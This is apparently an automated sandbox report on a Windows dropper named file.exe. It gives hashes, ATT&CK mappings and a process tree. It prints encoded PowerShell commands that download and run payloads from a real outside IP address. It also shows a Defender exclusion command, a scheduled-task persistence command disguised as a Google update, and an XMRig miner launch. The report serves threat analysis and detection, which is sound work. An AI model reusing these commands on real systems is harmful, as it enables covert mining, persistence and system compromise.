Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    06-01-2023 06:36

General

  • Target

    file.exe

  • Size

    35KB

  • MD5

    d5ba3235c8f5182eb261b3e14a6df208

  • SHA1

    4589e195051ce131b046014bcb8816a07f82ded3

  • SHA256

    eb5573984eac228c2ad2009a61debb47656e3a36e30f2a5ee02d62afdf689cb1

  • SHA512

    a21e926fef409d67fa78e75122f738b9a2100c2d290955054e8933f40b7e8ac203d6e9a3385a84af7059b1fe59006764467c429f6c10f2d3188b720fb367da3d

  • SSDEEP

    768:zSa3fOpnf8BcAjyRG90y4r/wOPpdwMNhghy0q9:zSoGJf82J894kmTghy0w

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/go.png

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/me.png

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:956
      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:648
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2036
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
              6⤵
              • Creates scheduled task(s)
              PID:1016
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:580
            • C:\Windows\system32\schtasks.exe
              schtasks /run /tn "GoogleUpdateTaskMachineQC"
              6⤵
                PID:904
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:912
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {44F52C8F-D36F-4BE4-8FC8-59C6AC37C710} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1652
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe "cvxjxkjice"
            4⤵
              PID:1812
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:764

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        0f24dc3fc00ea8153aa0b89d4f93f623

        SHA1

        a89b2322abe3059eb208fb923d90d1fafa763e34

        SHA256

        71807965195578c80ae5384ee4f39878197a2600755b2990b67c2bea1866972e

        SHA512

        16059695b88cdbe442b245335f48a9c828652b2fed06c295284a991fe3fe4a09df6f614e9d0afd4930583c0977e5079ebdf1947a553d6775f06ab19a12ea5866

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        0f24dc3fc00ea8153aa0b89d4f93f623

        SHA1

        a89b2322abe3059eb208fb923d90d1fafa763e34

        SHA256

        71807965195578c80ae5384ee4f39878197a2600755b2990b67c2bea1866972e

        SHA512

        16059695b88cdbe442b245335f48a9c828652b2fed06c295284a991fe3fe4a09df6f614e9d0afd4930583c0977e5079ebdf1947a553d6775f06ab19a12ea5866

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • memory/580-100-0x0000000000000000-mapping.dmp
      • memory/648-87-0x0000000000000000-mapping.dmp
      • memory/764-129-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-114-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-142-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-141-0x0000000000000000-0x0000000001000000-memory.dmp
        Filesize

        16.0MB

      • memory/764-140-0x00000000000E0000-0x0000000000100000-memory.dmp
        Filesize

        128KB

      • memory/764-131-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-130-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-135-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-139-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-127-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-138-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-125-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-124-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-123-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-121-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-119-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-117-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-115-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/764-136-0x000000014036EAC4-mapping.dmp
      • memory/904-101-0x0000000000000000-mapping.dmp
      • memory/912-85-0x000000000269B000-0x00000000026BA000-memory.dmp
        Filesize

        124KB

      • memory/912-79-0x000000001B770000-0x000000001BA6F000-memory.dmp
        Filesize

        3.0MB

      • memory/912-64-0x000007FEF3BD0000-0x000007FEF45F3000-memory.dmp
        Filesize

        10.1MB

      • memory/912-75-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp
        Filesize

        11.4MB

      • memory/912-112-0x000000000269B000-0x00000000026BA000-memory.dmp
        Filesize

        124KB

      • memory/912-57-0x0000000000000000-mapping.dmp
      • memory/912-73-0x0000000002694000-0x0000000002697000-memory.dmp
        Filesize

        12KB

      • memory/912-132-0x000000000269B000-0x00000000026BA000-memory.dmp
        Filesize

        124KB

      • memory/912-134-0x0000000002694000-0x0000000002697000-memory.dmp
        Filesize

        12KB

      • memory/956-69-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp
        Filesize

        11.4MB

      • memory/956-71-0x00000000025D4000-0x00000000025D7000-memory.dmp
        Filesize

        12KB

      • memory/956-78-0x000000001B820000-0x000000001BB1F000-memory.dmp
        Filesize

        3.0MB

      • memory/956-90-0x00000000025DB000-0x00000000025FA000-memory.dmp
        Filesize

        124KB

      • memory/956-56-0x0000000000000000-mapping.dmp
      • memory/956-65-0x000007FEF3BD0000-0x000007FEF45F3000-memory.dmp
        Filesize

        10.1MB

      • memory/956-84-0x00000000025DB000-0x00000000025FA000-memory.dmp
        Filesize

        124KB

      • memory/956-89-0x00000000025D4000-0x00000000025D7000-memory.dmp
        Filesize

        12KB

      • memory/996-67-0x000007FEF3BD0000-0x000007FEF45F3000-memory.dmp
        Filesize

        10.1MB

      • memory/996-74-0x0000000002814000-0x0000000002817000-memory.dmp
        Filesize

        12KB

      • memory/996-76-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp
        Filesize

        11.4MB

      • memory/996-58-0x0000000000000000-mapping.dmp
      • memory/996-80-0x000000001B850000-0x000000001BB4F000-memory.dmp
        Filesize

        3.0MB

      • memory/996-81-0x0000000002814000-0x0000000002817000-memory.dmp
        Filesize

        12KB

      • memory/996-82-0x000000000281B000-0x000000000283A000-memory.dmp
        Filesize

        124KB

      • memory/1016-99-0x0000000000000000-mapping.dmp
      • memory/1104-54-0x0000000000A20000-0x0000000000A30000-memory.dmp
        Filesize

        64KB

      • memory/1652-105-0x0000000000720000-0x0000000000726000-memory.dmp
        Filesize

        24KB

      • memory/1812-108-0x0000000000000000-mapping.dmp
      • memory/1812-110-0x0000000000220000-0x000000000022E000-memory.dmp
        Filesize

        56KB

      • memory/1812-113-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/1812-106-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/1812-109-0x00000000001F0000-0x000000000020A000-memory.dmp
        Filesize

        104KB

      • memory/1824-103-0x0000000000000000-mapping.dmp
      • memory/2008-68-0x000007FEF3BD0000-0x000007FEF45F3000-memory.dmp
        Filesize

        10.1MB

      • memory/2008-92-0x0000000002804000-0x0000000002807000-memory.dmp
        Filesize

        12KB

      • memory/2008-70-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp
        Filesize

        11.4MB

      • memory/2008-72-0x0000000002804000-0x0000000002807000-memory.dmp
        Filesize

        12KB

      • memory/2008-77-0x000000001B800000-0x000000001BAFF000-memory.dmp
        Filesize

        3.0MB

      • memory/2008-83-0x000000000280B000-0x000000000282A000-memory.dmp
        Filesize

        124KB

      • memory/2008-91-0x000000000280B000-0x000000000282A000-memory.dmp
        Filesize

        124KB

      • memory/2008-59-0x000007FEFC201000-0x000007FEFC203000-memory.dmp
        Filesize

        8KB

      • memory/2008-55-0x0000000000000000-mapping.dmp
      • memory/2024-93-0x00000000001E0000-0x000000000063B000-memory.dmp
        Filesize

        4.4MB

      • memory/2024-94-0x000000001BC10000-0x000000001C06C000-memory.dmp
        Filesize

        4.4MB

      • memory/2024-95-0x000000001B7B0000-0x000000001BBE4000-memory.dmp
        Filesize

        4.2MB

      • memory/2036-97-0x0000000000000000-mapping.dmp